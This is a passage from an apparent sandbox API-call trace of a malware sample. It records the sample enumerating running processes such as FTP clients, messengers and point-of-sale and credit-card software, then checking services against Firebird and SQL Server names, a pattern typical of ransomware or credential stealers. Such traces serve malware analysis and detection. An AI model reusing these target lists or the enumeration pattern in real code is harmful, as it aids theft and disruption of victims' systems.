(lpString="pidgin.exe") returned 10 [0080.325] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0080.326] lstrlenW (lpString="scriptftp.exe") returned 13 [0080.326] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0080.327] lstrlenW (lpString="skype.exe") returned 9 [0080.327] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0080.328] lstrlenW (lpString="smartftp.exe") returned 12 [0080.328] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0080.328] lstrlenW (lpString="thunderbird.exe") returned 15 [0080.328] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0080.329] lstrlenW (lpString="totalcmd.exe") returned 12 [0080.329] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0080.330] lstrlenW (lpString="trillian.exe") returned 12 [0080.330] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0080.331] lstrlenW (lpString="webdrive.exe") returned 12 [0080.331] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0080.332] lstrlenW (lpString="whatsapp.exe") returned 12 [0080.332] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0080.333] lstrlenW (lpString="winscp.exe") returned 10 [0080.333] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0080.334] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0080.334] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0080.335] lstrlenW (lpString="active-charge.exe") returned 17 [0080.335] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0080.336] lstrlenW (lpString="accupos.exe") returned 11 [0080.336] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0080.337] lstrlenW (lpString="afr38.exe") returned 9 [0080.337] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0080.338] lstrlenW (lpString="aldelo.exe") returned 10 [0080.338] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0080.338] lstrlenW (lpString="ccv_server.exe") returned 14 [0080.338] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0080.339] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0080.339] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0080.340] lstrlenW (lpString="creditservice.exe") returned 17 [0080.340] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0080.341] lstrlenW (lpString="edcsvr.exe") returned 10 [0080.341] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0080.342] lstrlenW (lpString="fpos.exe") returned 8 [0080.342] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0080.342] lstrlenW (lpString="isspos.exe") returned 10 [0080.342] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0080.343] lstrlenW (lpString="mxslipstream.exe") returned 16 [0080.343] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0080.344] lstrlenW (lpString="omnipos.exe") returned 11 [0080.344] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0080.345] lstrlenW (lpString="spcwin.exe") returned 10 [0080.345] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0080.345] lstrlenW (lpString="spgagentservice.exe") returned 19 [0080.345] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0080.346] lstrlenW (lpString="utg2.exe") returned 8 [0080.346] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0080.347] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0080.347] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0080.347] lstrlenW (lpString="glow be.exe") returned 11 [0080.348] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0080.741] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0080.741] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0080.742] lstrlenW (lpString="contains roles was.exe") returned 22 [0080.742] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.742] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0080.742] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.743] lstrlenW (lpString="taskhostw.exe") returned 13 [0080.743] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.744] lstrlenW (lpString="taskhostw.exe") returned 13 [0080.744] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0080.744] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0080.744] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0080.745] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0080.745] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0080.746] lstrlenW (lpString="UsoClient.exe") returned 13 [0080.746] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0080.747] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0080.747] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.747] lstrlenW (lpString="conhost.exe") returned 11 [0080.747] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.748] lstrlenW (lpString="conhost.exe") returned 11 [0080.748] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.749] lstrlenW (lpString="svchost.exe") returned 11 [0080.749] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0080.749] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0080.749] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.750] lstrlenW (lpString="svchost.exe") returned 11 [0080.750] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0080.750] lstrlenW (lpString="cmd.exe") returned 7 [0080.751] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.751] lstrlenW (lpString="conhost.exe") returned 11 [0080.751] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0080.752] CloseHandle (hObject=0x388) returned 1 [0080.752] Sleep (dwMilliseconds=0x1f4) [0081.504] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ced60 [0081.505] EnumServicesStatusExW (in: hSCManager=0x4ced60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0081.505] GetLastError () returned 0xea [0081.505] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4f3b70 [0081.505] EnumServicesStatusExW (in: hSCManager=0x4ced60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f3b70, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f3b70, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0081.506] CloseServiceHandle (hSCObject=0x4ced60) returned 1 [0081.506] lstrlenW (lpString="Appinfo") returned 7 [0081.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0081.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0081.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0081.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0081.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0081.507] lstrlenW (lpString="AppXSvc") returned 7 [0081.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0081.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0081.507] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0081.507] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0081.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0081.507] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0081.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0081.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0081.507] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0081.507] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0081.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0081.507] lstrlenW (lpString="Audiosrv") returned 8 [0081.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0081.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0081.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0081.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0081.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0081.507] lstrlenW (lpString="BFE") returned 3 [0081.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0081.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0081.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0081.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0081.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0081.507] lstrlenW (lpString="BITS") returned 4 [0081.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0081.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0081.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0081.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0081.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0081.507] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0081.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0081.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0081.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0081.508] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0081.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0081.508] lstrlenW (lpString="CDPSvc") returned 6 [0081.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0081.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0081.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0081.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0081.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0081.508] lstrlenW (lpString="ClickToRunSvc") returned 13 [0081.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0081.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0081.508] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0081.508] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0081.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0081.508] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0081.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0081.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0081.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0081.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0081.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0081.508] lstrlenW (lpString="CryptSvc") returned 8 [0081.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0081.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0081.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0081.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0081.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0081.508] lstrlenW (lpString="DcomLaunch") returned 10 [0081.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0081.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0081.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0081.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0081.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0081.508] lstrlenW (lpString="DeviceAssociationService") returned 24 [0081.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0081.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0081.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0081.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0081.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0081.509] lstrlenW (lpString="Dhcp") returned 4 [0081.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0081.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0081.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0081.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0081.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0081.509] lstrlenW (lpString="Dnscache") returned 8 [0081.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0081.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0081.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0081.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0081.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0081.509] lstrlenW (lpString="DoSvc") returned 5 [0081.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0081.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0081.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0081.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0081.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0081.509] lstrlenW (lpString="DPS") returned 3 [0081.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0081.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0081.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0081.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0081.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0081.509] lstrlenW (lpString="DusmSvc") returned 7 [0081.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0081.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0081.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0081.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0081.509] lstrcmpiW 